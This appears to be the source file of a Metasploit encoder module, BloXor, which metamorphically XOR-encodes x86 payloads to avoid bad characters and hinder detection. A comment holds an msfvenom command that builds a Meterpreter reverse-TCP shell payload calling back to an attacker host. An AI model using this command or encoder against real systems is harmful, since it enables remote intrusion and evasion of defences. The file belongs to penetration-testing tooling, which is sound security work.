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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rex/encoder/bloxor/bloxor'
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#
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# BloXor is a cross architecture metamorphic block based xor encoder/decoder for Metasploit.
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# BloXor was inspired by the Shikata Ga Nai encoder (./msf/modules/encoders/x86/shikata_ga_nai.rb)
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# by spoonm and the Rex::Poly::Block (./msf/lib/rex/poly/block.rb) code by skape.
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#
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# Please refer to ./msf/lib/rex/encoder/bloxor/bloxor.rb for BloXor's implementation and to
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# ./msf/lib/rex/poly/machine/machine.rb and ./msf/lib/rex/poly/machine/x86.rb for the
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# backend metamorphic stuff.
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#
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# A presentation at AthCon 2012 by Dimitrios A. Glynos called 'Packing Heat!' discusses a
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# metamorphic packer for PE executables and also uses METASM.  I am unaware of any code having
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# been publicly released for this, so am unable to compare implementations.
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# http://census-labs.com/media/packing-heat.pdf
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#
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# Manually check the output with the following command:
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# >ruby msfvenom -p windows/meterpreter/reverse_tcp RHOST=192.168.2.2 LHOST=192.168.2.1 LPORT=80 -a x86 -e x86/bloxor -b '\x00' -f raw | ndisasm -b32 -k 128,1 -
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#
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class MetasploitModule < Rex::Encoder::BloXor
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  # Note: Currently set to manual, bump it up to automatically get selected by the framework.
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  # Note: BloXor by design is slow due to its exhaustive search for a solution.
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  Rank = ManualRanking
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  def initialize
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    super(
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      'Name'        => 'BloXor - A Metamorphic Block Based XOR Encoder',
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      'Description' => 'A Metamorphic Block Based XOR Encoder.',
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      'Author'      => [ 'sf' ],
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      'Arch'        => ARCH_X86,
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      'License'     => MSF_LICENSE,
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      'EncoderType' => Msf::Encoder::Type::Unspecified
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      )
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  end
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  def compute_decoder( state )
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    @machine = Rex::Poly::MachineX86.new( state.badchars )
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    super( state )
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  end
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end
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